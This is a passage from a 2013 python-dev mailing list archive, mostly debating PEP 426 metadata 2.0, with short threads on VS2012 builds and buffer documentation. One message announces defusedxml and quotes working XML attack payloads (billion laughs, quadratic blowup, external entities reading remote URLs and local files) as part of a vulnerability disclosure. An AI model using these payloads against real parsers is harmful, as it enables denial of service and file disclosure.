> > before accepting the PEP.
>
> Elephant in the room? Somethin's been around for so long and hasn't got
> any sort of
> mainstream support is *not* a good candidate for a requirement but maybe
> it's me
> being naive.
>

I think 1.2 was started and then amended over a long period of time to
become what it is today. I wanted to edit it again just to add
Provides-Extra. It turned out to be more practical to make a new PEP. Nick
explains that for complicated reasons the implementation of Metadata 1.2
was not successful. For Metadata 2.0 we had a different strategy: put it
into distribute first. You will find that this aids adoption. distlib will
provide another implementation that is in many ways interchangeable.

We also have three implementations of an installer for the related wheel
format, three implementations of the wheel builder, and two surprisingly
short implementations of environment markers. Yes, the wheel project has
the same name as the wheel format.

Metadata 2.0's Provides-Extra field is there to represent the setuptools
"extras" feature which is necessary for a very large number of
distributions on pypi. For a while the most common environment markers will
look like just "extra == 'foo'". So it should not be surprising that
distribute is the first tool to recognize Provides-Extra. Previously
distribute did not use METADATA / PKG-INFO for dependencies, instead
reading from requires.txt

If you can get around the fact that we've incorporated most of another PEP
386 into v2.0, rewritten and explained everything to death, I would argue
that 2.0 is actually simpler than 1.2. Only four headers are actually
required in a valid Metadata 2.0 file and a number of the fields are
informational and do not have to be understood by the installer.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130219/c75f2923/attachment.html>

From ncoghlan at gmail.com  Tue Feb 19 14:40:28 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Tue, 19 Feb 2013 23:40:28 +1000
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <51237CEB.3020701@egenix.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
Message-ID: <CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>

On Tue, Feb 19, 2013 at 11:23 PM, M.-A. Lemburg <mal at egenix.com> wrote:
> On 19.02.2013 11:28, Nick Coghlan wrote:
>> On Tue, Feb 19, 2013 at 7:37 PM, M.-A. Lemburg <mal at egenix.com> wrote:
>>> On 17.02.2013 11:11, Nick Coghlan wrote:
>>> I'm not against modernizing the format, but given that version 1.2
>>> has been out for around 8 years now, without much following,
>>> I think we need to make the implementation bit a requirement
>>> before accepting the PEP.
>>
>> It is being implemented in distlib, and the (short!) appendix to the
>> PEP itself shows how to read the format using the standard library's
>> email module.
>
> Hmm, what is distlib and where does it live ?

As part of the post-mortem of packaging's removal from Python 3.3,
several subcomponents were identified as stable and useful. distlib is
those subcomponents extracted into a separate repository by Vinay
Sajip.

It will be proposed as the standard library infrastructure for
building packaging related tools, while distutils will become purely a
build system and have nothing to do with installing software directly
(except perhaps on developer machines).

> The PEP only shows how to parse the RFC822-style format used by the
> metadata. That's not what I was referring to.
>
> If a tools wants to support metadata 2.0, it has to support all
> the complicated stuff as well, i.e. handle the requires fields,
> the environment markers and version comparisons/sorting.

Which is what distutils2 can be used for now, and what distlib will
provide without the unwanted build system infrastructure in
distutils2.

>> v2.0 is designed to fix many of the issues that prevented the adoption
>> of v1.2, including tweaks to the standardised version scheme and the
>> addition of a formal extension mechanism to avoid the ad hoc
>> extensions that occurred with earlier metadata versions.
>
> Some more notes:
>
> * I find it confusing that we now have two version schemes,
>   one defined in PEP 426 (hidden in the middle of the document)
>   and one in PEP 386. It would be better to amend or replace
>   PEP 386, since that's where you look for Python version strings.

You can't understand version specifiers without understanding the sort
order defined for the version scheme, so documenting them separately
is just a recipe for confusion.

I plan to mark PEP 386 as Withdrawn when I accept this PEP, as the
sorting scheme it defines is broken, and the distutils changes
proposed in that PEP are never going to happen.

> * PEP 426 doesn't include any mention of the egg distribution format,
>   even though it's the most popular distribution format at the moment.
>   It should at least include the location of the metadata file
>   in eggs (EGG-INFO/PKG-INFO) and egg installations
>   (<eggdir>/EGG-INFO/PKG-INFO).

"Other tools involved in Python distribution may also use this format."

The egg format has never been, and never will be, officially endorsed
by python-dev. The wheel format is the standard format for binary
distribution, and PEP 376 defines the standard location for metadata
on installed distributions.

>
> Not sure whether related or not, I also think it would be a good idea
> to make the metadata file available on PyPI for download (could be sent
> there when registering the package release). The register command
> only posts the data as 1.0 metadata, but includes fields from
> metadata 1.1. PyPI itself only displays part of the data.

It's not related, but I plan to propose the adoption of TUF (with GPG
based signatures) for PyPI's end-to-end security solution, and the
conversion of the metadata files to JSON for distribution through
TUF's metadata support. (Donald Stufft already wrote  PEP 426 <-> JSON
bidirectional converter as part of an unrelated experiment)

> It would be useful to have the metadata readily available for
> inspection on PyPI without having to download one of the
> distribution files first.

Indeed, which is a large part of why TUF (aka The Update Framework:
https://www.updateframework.com/) is such an interesting security
solution.

Regards,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From ncoghlan at gmail.com  Tue Feb 19 14:59:02 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Tue, 19 Feb 2013 23:59:02 +1000
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec fordistribution
 metadata 2.0
In-Reply-To: <5620.1361275021@cavallinux.eu>
References: <5620.1361275021@cavallinux.eu>
Message-ID: <CADiSq7cLwRpZF0YHjgtPbUDfj=RvSxceXVOvr35KcCfe_2yJVA@mail.gmail.com>

On Tue, Feb 19, 2013 at 9:57 PM,  <a.cavallo at cavallinux.eu> wrote:
>> I've never seen environment markers being used or supported
>> in the wild.
>>
>> I'm not against modernizing the format, but given that version 1.2
>> has been out for around 8 years now, without much following,
>> I think we need to make the implementation bit a requirement
>> before accepting the PEP.

PEP 345 has NOT been an approved specification for 8 years. It was
first drafted in 2005, but not Accepted until 2010:
http://hg.python.org/peps/rev/7d78653a0e79 (as Daniel noted, what
became PEP 426 actually started as *another* round of edits to PEP
345)

PEP 345 was a first attempt at defining a formal standard that
adequately described an *existing* implementation defined software
distribution ecosystem built around the behaviour of setuptools. It
failed, because it did *not* achieve that goal, and because there were
associated declarations along the lines of "to migrate to this
standard, you must completely change the way you build and distribute
your Python code" (by conflating the setup.py -> setup.cfg migration
of distutils2 with the use of the new metadata standard). The response
was an overwhelming meh, as people willing migrated to distribute and
pip (based on the de facto setuptools standards), while the distutils2
project never made it to production readiness because it was trying to
solve too many problems at once.

By contrast, the PEP 376 metadata format created at the same time has
been adopted quite well.

PEPs 345 and 386 were also accepted at a time when python-dev had
neither interest nor extensive experience in packaging systems (or if
anyone did have such experience, they weren't volunteering that
information).

So what's changed since 2010 that makes me think the time is right for
a new metadata version?

1. We've recognised that without setuptools and/or distribute on board
to generate it, and pip to consume it, any new metadata version is
dead in the water. That groundwork has been done (mostly by Daniel as
part of his work on the wheel format)

2. We've systematically gone through and resolved the significant
discrepancies between the formal versioning scheme and the
implementation defined behaviour of setuptools and distribute. This
means that standards compliant versions will sort the same way in
those tools, even if they are not updated.

3. We've addressed other objections PJ Eby (the author of setuptools)
had to the previous version of the format (notably the handling of
project obsolescence).

4. Various other missing features from setuptools are now supported
directly (such as extras)

5. The defined interaction of version specifiers and pre- and post-
releases was not useful. The new version fixes that to be something
developers are more likely to want (i.e. they won't get pre-releases
unless they explicitly reference one).

6. We've enhanced the format so it can handle extensions in a
systematic fashion with clearly defined lines of authority based on
PyPI distribution names, rather than adding arbitrarily named files to
a distribution's info directory without any clear indication of where
to find that specification for the file's meaning.

7. I've updated the metadata specification itself, including the
addition of the Private-Version field, to more clearly explain to
developers that the public Version in their metadata is primarily a
tool for communicating the relative ordering of versions to
installation tools, but they're still free to use their own preferred
version labels internally, and certainly are not obliged to actually
use the full complexity of the standard versioning scheme that the
installers understand.

It's OK if people don't want to read the detailed rationale provided
for each of the major changes as part of the PEP, or if they want to
dispute a particular piece of that rationale. But merely going "it's
too complicated!" or "metadata 1.2 failed, so 2.0 will fail as well!"
is not a reasonable response. Software distribution is complicated -
trying to oversimplify it is one of the reasons setuptools became
necessary.

Regards,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From christian at python.org  Tue Feb 19 16:32:23 2013
From: christian at python.org (Christian Heimes)
Date: Tue, 19 Feb 2013 16:32:23 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Message-ID: <51239B07.8080300@python.org>

Hello,

in August 2012 I found a DoS vulnerability in expat and XML libraries in
Python's standard library. Since then I have found several more issues.
I have been working on fixes ever since.

The README of https://pypi.python.org/pypi/defusedxml contains detailed
explanations of my research and all issues


Blog post:
http://blog.python.org/2013/02/announcing-defusedxml-fixes-for-xml.html

Hotfixes:
https://pypi.python.org/pypi/defusedxml
https://pypi.python.org/pypi/defusedexpat


Repositories:
https://bitbucket.org/tiran/defusedxml
https://bitbucket.org/tiran/defusedexpat
https://bitbucket.org/tiran/expat

CVE (work in progress)

CVE-2013-1664
    Unrestricted entity expansion induces DoS vulnerabilities in
    Python XML libraries (XML bomb)
CVE-2013-1665
    External entity expansion in Python XML libraries
    inflicts potential security flaws and DoS vulnerabilities


Regards,
Christian



Extract from the documentation:

Synopsis
--------

The results of an attack on a vulnerable XML library can be fairly
dramatic. With just a few hundred Bytes of XML data an attacker can
occupy several Gigabytes of memory within seconds. An attacker can also
keep CPUs busy for a long time with a small to medium size request.
Under some circumstances it is even possible to access local files on
your server, to circumvent a firewall, or to abuse services to rebound
attacks to third parties.

The attacks use and abuse less common features of XML and its parsers.
The majority of developers are unacquainted with features such as
processing instructions and entity expansions that XML inherited from
SGML. At best they know about <!DOCTYPE> from experience with HTML but
they are not aware that a document type definition (DTD) can generate an
HTTP request or load a file from the file system.

None of the issues is new. They have been known for a long time. Billion
laughs was first reported in 2003. Nevertheless some XML libraries and
applications are still vulnerable and even heavy users of XML are
surprised by these features. It's hard to say whom to blame for the
situation. It's too short sighted to shift all blame on XML parsers and
XML libraries for using insecure default settings. After all they
properly implement XML specifications. Application developers must not
rely that a library is always configured for security and potential
harmful data by default.


Attack vectors
==============

billion laughs / exponential entity expansion
---------------------------------------------

The Billion Laughs attack -- also known as exponential entity expansion
-- uses multiple levels of nested entities. The original example uses 9
levels of 10 expansions in each level to expand the string lol to a
string of 3 * 10 9 bytes, hence the name "billion laughs". The resulting
string occupies 3 GB (2.79 GiB) of memory; intermediate strings require
additional memory. Because most parsers don't cache the intermediate
step for every expansion it is repeated over and over again. It
increases the CPU load even more.

An XML document of just a few hundred bytes can disrupt all services on
a machine within seconds.

Example XML:

<!DOCTYPE xmlbomb [
<!ENTITY a "1234567890" >
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;">
]>
<bomb>&d;</bomb>

quadratic blowup entity expansion
---------------------------------

A quadratic blowup attack is similar to a Billion Laughs attack; it
abuses entity expansion, too. Instead of nested entities it repeats one
large entity with a couple of ten thousand chars over and over again.
The attack isn't as efficient as the exponential case but it avoids
triggering countermeasures of parsers against heavily nested entities.
Some parsers limit the depth and breadth of a single entity but not the
total amount of expanded text throughout an entire XML document.

A medium-sized XML document with a couple of hundred kilobytes can
require a couple of hundred MB to several GB of memory. When the attack
is combined with some level of nested expansion an attacker is able to
achieve a higher ratio of success.

<!DOCTYPE bomb [
<!ENTITY a "xxxxxxx... a couple of ten thousand chars">
]>
<bomb>&a;&a;&a;... repeat</bomb>


external entity expansion (remote)
----------------------------------

Entity declarations can contain more than just text for replacement.
They can also point to external resources by public identifiers or
system identifiers. System identifiers are standard URIs. When the URI
is a URL (e.g. a http:// locator) some parsers download the resource
from the remote location and embed them into the XML document verbatim.

Simple example of a parsed external entity:

<!DOCTYPE external [
<!ENTITY ee SYSTEM "http://www.python.org/some.xml">
]>
<root>&ee;</root>

The case of parsed external entities works only for valid XML content.
The XML standard also supports unparsed external entities with a NData
declaration.

External entity expansion opens the door to plenty of exploits. An
attacker can abuse a vulnerable XML library and application to rebound
and forward network requests with the IP address of the server. It
highly depends on the parser and the application what kind of exploit is
possible. For example:

* An attacker can circumvent firewalls and gain access to restricted
resources as all the requests are made from an internal and trustworthy
IP address, not from the outside.
* An attacker can abuse a service to attack, spy on or DoS your servers
but also third party services. The attack is disguised with the IP
address of the server and the attacker is able to utilize the high
bandwidth of a big machine.
* An attacker can exhaust additional resources on the machine, e.g. with
requests to a service that doesn't respond or responds with very large
files.
* An attacker may gain knowledge, when, how often and from which IP
address a XML document is accessed.
    An attacker could send mail from inside your network if the URL
handler supports smtp:// URIs.


external entity expansion (local file)
--------------------------------------

External entities with references to local files are a sub-case of
external entity expansion. It's listed as an extra attack because it
deserves extra attention. Some XML libraries such as lxml disable
network access by default but still allow entity expansion with local
file access by default. Local files are either referenced with a file://
URL or by a file path (either relative or absolute).

An attacker may be able to access and download all files that can be
read by the application process. This may include critical configuration
files, too.

<!DOCTYPE external [
<!ENTITY ee SYSTEM "file:///PATH/TO/simple.xml">
]>
<root>&ee;</root>

DTD retrieval
-------------

This case is similar to external entity expansion, too. Some XML
libraries like Python's xml.dom.pulldown retrieve document type
definitions from remote or local locations. Several attack scenarios
from the external entity case apply to this issue as well.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
    <head/>
    <body>text</body>
</html>



From p.f.moore at gmail.com  Tue Feb 19 17:26:34 2013
From: p.f.moore at gmail.com (Paul Moore)
Date: Tue, 19 Feb 2013 16:26:34 +0000
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec fordistribution
 metadata 2.0
In-Reply-To: <CADiSq7cLwRpZF0YHjgtPbUDfj=RvSxceXVOvr35KcCfe_2yJVA@mail.gmail.com>
References: <5620.1361275021@cavallinux.eu>
	<CADiSq7cLwRpZF0YHjgtPbUDfj=RvSxceXVOvr35KcCfe_2yJVA@mail.gmail.com>
Message-ID: <CACac1F91rCU1_W_Su1Y67MDeBGrks7iKL21fAQ3bYJ5+5w9hjA@mail.gmail.com>

On 19 February 2013 13:59, Nick Coghlan <ncoghlan at gmail.com> wrote:
> It's OK if people don't want to read the detailed rationale provided
> for each of the major changes as part of the PEP, or if they want to
> dispute a particular piece of that rationale. But merely going "it's
> too complicated!" or "metadata 1.2 failed, so 2.0 will fail as well!"
> is not a reasonable response. Software distribution is complicated -
> trying to oversimplify it is one of the reasons setuptools became
> necessary.

Nevertheless, the landscape is confusing. PEPs 241, 314, 345, 426,
390, 376 and 386 are all relevant to one extent or another, and only
PEPs 426 (Metadata 2.0) and 390 (Static Metadata for Distutils -
setup.cfg) are still in Draft format. The others are all Accepted or
Final. And yet PEPs 345, 390 and 386 are unused and likely to remain
so.

I believe that the only ones that are *actually* of use are 241, 314
and 426 (Metadata 1.0, 1.1 and 2.0, but not 1.2) and 376 (Database of
Installed Python Distributions) although 376 still has a number of
flaws. I'd suggest that these should be marked as Final, and the
others as Rejected, so that we have a clear statement of what is
actually supported.

Making sure that users have the means to write code that *uses* these
standards using functionality available in the stdlib is then the next
step as you say. It is critical that this is done, because packaging
tools are unique in that the barrier to using external dependencies is
particularly high for them - for example, pip's reliance on
distribute/setuptools is necessary, but has been problematic at times.

Paul

PS Apologies for using a load of PEP numbers without explanation.
Here's a glossary:

Metadata 1.0 - PEP 241
Metadata 1.1 - PEP 314
Metadata 1.2 - PEP 345
Metadata 1.3 - PEP 426
Static Metadata for Distutils - PEP 390
Database of Installed Python Distributions - PEP 376
Changing the version comparison module in Distutils - PEP 386

From demianbrecht at gmail.com  Tue Feb 19 18:33:51 2013
From: demianbrecht at gmail.com (Demian Brecht)
Date: Tue, 19 Feb 2013 09:33:51 -0800
Subject: [Python-Dev] Python 2.7 buffer and memoryview documentation (issue#
	17145)
Message-ID: <CD48F77F.B110%demianbrecht@gmail.com>

http://bugs.python.org/issue17145

I'm curious as to whether or not anyone has reviewed the documentation
update I made here.

Context:

Having both memory views and buffers in 2.7 (as well as the C-level API
for each) is confusing. The initial bug report was to implement consistent
behavior for objects supporting the new C-level buffer API or to update
the docs. As new features are not being added to 2.7 (as pointed out by
Stefan Krah), I made an update to the docs that I think made the disparity
between the two (and when one should favour the usage of either) a little
clearer.

?But maybe I'm off my rocker ;)

Also, are contributor agreements also required for documentation?

Thanks,

Demian Brecht
http://demianbrecht.github.com



From rahulgarg at live.ca  Tue Feb 19 19:37:15 2013
From: rahulgarg at live.ca (rahul garg)
Date: Tue, 19 Feb 2013 13:37:15 -0500
Subject: [Python-Dev] Built with VS2012 Express for desktop
Message-ID: <SNT002-W20406FA0FDEC8C384A58A63B1F50@phx.gbl>

Hi.

I downloaded Python 3.3 source, opened up the solution in VS2012 Express for Desktop and built the "python" subproject using "Release" and "x64" configurations.  I now have a "python.exe" in the PCBuild/amd64 subfolder that appears to be working as far as i can see.

I have a few questions:
a) Is there a test suite that I can run to verify that the build is working fine?

b) I now intend to build some extensions (such as NumPy). Not sure if this is the right list, but would I need to modify something in distutils to get it working with VS2012?

thanks,
Rahul
 		 	   		  
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130219/11a56814/attachment.html>

From brian at python.org  Tue Feb 19 19:48:02 2013
From: brian at python.org (Brian Curtin)
Date: Tue, 19 Feb 2013 12:48:02 -0600
Subject: [Python-Dev] Built with VS2012 Express for desktop
In-Reply-To: <SNT002-W20406FA0FDEC8C384A58A63B1F50@phx.gbl>
References: <SNT002-W20406FA0FDEC8C384A58A63B1F50@phx.gbl>
Message-ID: <CAD+XWwqvmLwpDPaF1njckqZ=YNd6BB5R7iJ6tXsTe0-dT6xG4A@mail.gmail.com>

On Tue, Feb 19, 2013 at 12:37 PM, rahul garg <rahulgarg at live.ca> wrote:
> Hi.
>
> I downloaded Python 3.3 source, opened up the solution in VS2012 Express for
> Desktop and built the "python" subproject using "Release" and "x64"
> configurations.  I now have a "python.exe" in the PCBuild/amd64 subfolder
> that appears to be working as far as i can see.
>
> I have a few questions:
> a) Is there a test suite that I can run to verify that the build is working
> fine?

Last I checked there are some issues, but most of the tests should
pass. You would run "PCBuild\python.exe -m test" from the top level of
your checkout to see this. It's also covered at
http://docs.python.org/devguide/

> b) I now intend to build some extensions (such as NumPy). Not sure if this
> is the right list, but would I need to modify something in distutils to get
> it working with VS2012?

Yes. You'll probably need to point distutils to the correct batch file
that sets up a VS2012 build environment.

From phd at phdru.name  Tue Feb 19 19:50:25 2013
From: phd at phdru.name (Oleg Broytman)
Date: Tue, 19 Feb 2013 22:50:25 +0400
Subject: [Python-Dev] Built with VS2012 Express for desktop
In-Reply-To: <SNT002-W20406FA0FDEC8C384A58A63B1F50@phx.gbl>
References: <SNT002-W20406FA0FDEC8C384A58A63B1F50@phx.gbl>
Message-ID: <20130219185025.GB13258@iskra.aviel.ru>

Hello.

   This mailing list is to work on developing Python (adding new
features to Python itself and fixing bugs); if you're having problems
learning, understanding or using Python, please find another forum.
Probably python-list/comp.lang.python mailing list/news group is the
best place; there are Python developers who participate in it; you may
get a faster, and probably more complete, answer there. See
http://www.python.org/community/ for other lists/news groups/fora. Thank
you for understanding.

On Tue, Feb 19, 2013 at 01:37:15PM -0500, rahul garg <rahulgarg at live.ca> wrote:
> a) Is there a test suite that I can run to verify that the build is working fine?

   http://docs.python.org/3.3/library/test.html

Oleg.
-- 
     Oleg Broytman            http://phdru.name/            phd at phdru.name
           Programmers don't die, they just GOSUB without RETURN.

From dholth at gmail.com  Tue Feb 19 20:06:12 2013
From: dholth at gmail.com (Daniel Holth)
Date: Tue, 19 Feb 2013 14:06:12 -0500
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec fordistribution
 metadata 2.0
In-Reply-To: <CACac1F91rCU1_W_Su1Y67MDeBGrks7iKL21fAQ3bYJ5+5w9hjA@mail.gmail.com>
References: <5620.1361275021@cavallinux.eu>
	<CADiSq7cLwRpZF0YHjgtPbUDfj=RvSxceXVOvr35KcCfe_2yJVA@mail.gmail.com>
	<CACac1F91rCU1_W_Su1Y67MDeBGrks7iKL21fAQ3bYJ5+5w9hjA@mail.gmail.com>
Message-ID: <CAG8k2+5SDFPgOf9PR=tQ-tCrj8=gWVvkvGmWYqLhpLR50F3rbQ@mail.gmail.com>

On Tue, Feb 19, 2013 at 11:26 AM, Paul Moore <p.f.moore at gmail.com> wrote:

> On 19 February 2013 13:59, Nick Coghlan <ncoghlan at gmail.com> wrote:
> > It's OK if people don't want to read the detailed rationale provided
> > for each of the major changes as part of the PEP, or if they want to
> > dispute a particular piece of that rationale. But merely going "it's
> > too complicated!" or "metadata 1.2 failed, so 2.0 will fail as well!"
> > is not a reasonable response. Software distribution is complicated -
> > trying to oversimplify it is one of the reasons setuptools became
> > necessary.
>
> Nevertheless, the landscape is confusing. PEPs 241, 314, 345, 426,
> 390, 376 and 386 are all relevant to one extent or another, and only
> PEPs 426 (Metadata 2.0) and 390 (Static Metadata for Distutils -
> setup.cfg) are still in Draft format. The others are all Accepted or
> Final. And yet PEPs 345, 390 and 386 are unused and likely to remain
> so.
>
> I believe that the only ones that are *actually* of use are 241, 314
> and 426 (Metadata 1.0, 1.1 and 2.0, but not 1.2) and 376 (Database of
> Installed Python Distributions) although 376 still has a number of
> flaws. I'd suggest that these should be marked as Final, and the
> others as Rejected, so that we have a clear statement of what is
> actually supported.
>
> Making sure that users have the means to write code that *uses* these
> standards using functionality available in the stdlib is then the next
> step as you say. It is critical that this is done, because packaging
> tools are unique in that the barrier to using external dependencies is
> particularly high for them - for example, pip's reliance on
> distribute/setuptools is necessary, but has been problematic at times.
>
> Paul
>
> PS Apologies for using a load of PEP numbers without explanation.
> Here's a glossary:
>
> Metadata 1.0 - PEP 241
> Metadata 1.1 - PEP 314
> Metadata 1.2 - PEP 345
> Metadata 1.3 - PEP 426
> Static Metadata for Distutils - PEP 390
> Database of Installed Python Distributions - PEP 376
> Changing the version comparison module in Distutils - PEP 386
>

The documentation is bad.

The standard library will almost certainly grow code that can interpret
these PEPs. Packaging tool authors can handle these specs but no sane
person reads PEPs to figure out how to submit a simple library to pypi. No
end user cares about metadata versions either or even notices that sdists
contain PKG-INFO at their root. You get what setup() produces and that's
it.

Wheel installers can work without being installed into the target
environment at all. This is very hard to understand if you have been using
the distutils model (the installed package imports the installer and
packages are always rebuilt from source) for more than a decade. This
feature does something to remedy the setuptools chicken/egg problem. We
have eliminated the egg ;-)

Once the installer doesn't need to be installed, repeatedly, in every
virtualenv, hundreds of times a day, users could just have a single
up-to-date standalone copy of pip invoked as "python pip.zip install x".
Additional packages needed only for builds (even setuptools) may be
installed automatically by a build system (like pip) when building rather
than using packages.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130219/a2fe8079/attachment.html>

From v+python at g.nevcal.com  Tue Feb 19 20:35:59 2013
From: v+python at g.nevcal.com (Glenn Linderman)
Date: Tue, 19 Feb 2013 11:35:59 -0800
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec fordistribution
 metadata 2.0
In-Reply-To: <CAG8k2+5SDFPgOf9PR=tQ-tCrj8=gWVvkvGmWYqLhpLR50F3rbQ@mail.gmail.com>
References: <5620.1361275021@cavallinux.eu>
	<CADiSq7cLwRpZF0YHjgtPbUDfj=RvSxceXVOvr35KcCfe_2yJVA@mail.gmail.com>
	<CACac1F91rCU1_W_Su1Y67MDeBGrks7iKL21fAQ3bYJ5+5w9hjA@mail.gmail.com>
	<CAG8k2+5SDFPgOf9PR=tQ-tCrj8=gWVvkvGmWYqLhpLR50F3rbQ@mail.gmail.com>
Message-ID: <5123D41F.4000000@g.nevcal.com>

On 2/19/2013 11:06 AM, Daniel Holth wrote:
> This feature does something to remedy the setuptools chicken/egg 
> problem. We have eliminated the egg ;-)

This is the most artfully crafted comment I've seen on topic on this 
list for some months! Thanks!
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130219/224e0c2b/attachment.html>

From p.f.moore at gmail.com  Tue Feb 19 21:25:30 2013
From: p.f.moore at gmail.com (Paul Moore)
Date: Tue, 19 Feb 2013 20:25:30 +0000
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
Message-ID: <CACac1F92ZRT--uaH7Q5LvX9P2bWM1NUWvrbV_A+ougLcVzEx3g@mail.gmail.com>

On 19 February 2013 13:40, Nick Coghlan <ncoghlan at gmail.com> wrote:
>> If a tools wants to support metadata 2.0, it has to support all
>> the complicated stuff as well, i.e. handle the requires fields,
>> the environment markers and version comparisons/sorting.
>
> Which is what distutils2 can be used for now, and what distlib will
> provide without the unwanted build system infrastructure in
> distutils2.

One particular item in Metadata 2.0 which needs to be addressed is
requirements specifiers, as used in (for example) Requires-Dist. These
take forms like "DistName (>= ver)". There are a number of potential
issues here:

1. This differs from the pkg_resources format (which omits the
parentheses). Having 2 subtly different formats is not a good idea in
the long term. At the moment, pkg_resources format is used in pip
requirements (on the command line and in requirement files) as well as
in setuptools/distribute and possibly elsewhere.
2. There is currently no code that I am aware of that implements this
spec. I don't believe distlib does (yet - give Vinay 5 minutes and who
knows? :-)), pkg_resources as I said implements a different format,
and distutils2, apart from being a big dependency to cover just this
point, only matches the version (not the project name) and presumably
does so using the distutils2 version ordering (which is incompatible
with Metadata 2.0).
3. The format is fiddly to parse and process - nobody is likely to
implement it for themselves without a library that does it (especially
not when using pkg_resources is so easy).

The PEP needs a rationale as to why the pkg_resources format wasn't
used, and should suggest a migration path for projects which currently
use the pkg_resources style (such as pip's requirements files).

Paul

From donald.stufft at gmail.com  Tue Feb 19 21:36:21 2013
From: donald.stufft at gmail.com (Donald Stufft)
Date: Tue, 19 Feb 2013 15:36:21 -0500
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <CACac1F92ZRT--uaH7Q5LvX9P2bWM1NUWvrbV_A+ougLcVzEx3g@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<CACac1F92ZRT--uaH7Q5LvX9P2bWM1NUWvrbV_A+ougLcVzEx3g@mail.gmail.com>
Message-ID: <DB6697DA22C343319162ECF67177F7C0@gmail.com>

On Tuesday, February 19, 2013 at 3:25 PM, Paul Moore wrote:
> On 19 February 2013 13:40, Nick Coghlan <ncoghlan at gmail.com (mailto:ncoghlan at gmail.com)> wrote:
> > > If a tools wants to support metadata 2.0, it has to support all
> > > the complicated stuff as well, i.e. handle the requires fields,
> > > the environment markers and version comparisons/sorting.
> > > 
> > 
> > 
> > Which is what distutils2 can be used for now, and what distlib will
> > provide without the unwanted build system infrastructure in
> > distutils2.
> > 
> 
> 
> One particular item in Metadata 2.0 which needs to be addressed is
> requirements specifiers, as used in (for example) Requires-Dist. These
> take forms like "DistName (>= ver)". There are a number of potential
> issues here:
> 
> 1. This differs from the pkg_resources format (which omits the
> parentheses). Having 2 subtly different formats is not a good idea in
> the long term. At the moment, pkg_resources format is used in pip
> requirements (on the command line and in requirement files) as well as
> in setuptools/distribute and possibly elsewhere.
> 2. There is currently no code that I am aware of that implements this
> spec. I don't believe distlib does (yet - give Vinay 5 minutes and who
> knows? :-)), pkg_resources as I said implements a different format,
> and distutils2, apart from being a big dependency to cover just this
> point, only matches the version (not the project name) and presumably
> does so using the distutils2 version ordering (which is incompatible
> with Metadata 2.0).
> 
> 

It should be alongside the version stuff, atleast it was in distutils2. 
> 3. The format is fiddly to parse and process - nobody is likely to
> implement it for themselves without a library that does it (especially
> not when using pkg_resources is so easy).
> 
> The PEP needs a rationale as to why the pkg_resources format wasn't
> used, and should suggest a migration path for projects which currently
> use the pkg_resources style (such as pip's requirements files).
> 
> Paul
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org (mailto:Python-Dev at python.org)
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/donald.stufft%40gmail.com
> 
> 


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130219/9093b066/attachment.html>

From p.f.moore at gmail.com  Tue Feb 19 21:41:47 2013
From: p.f.moore at gmail.com (Paul Moore)
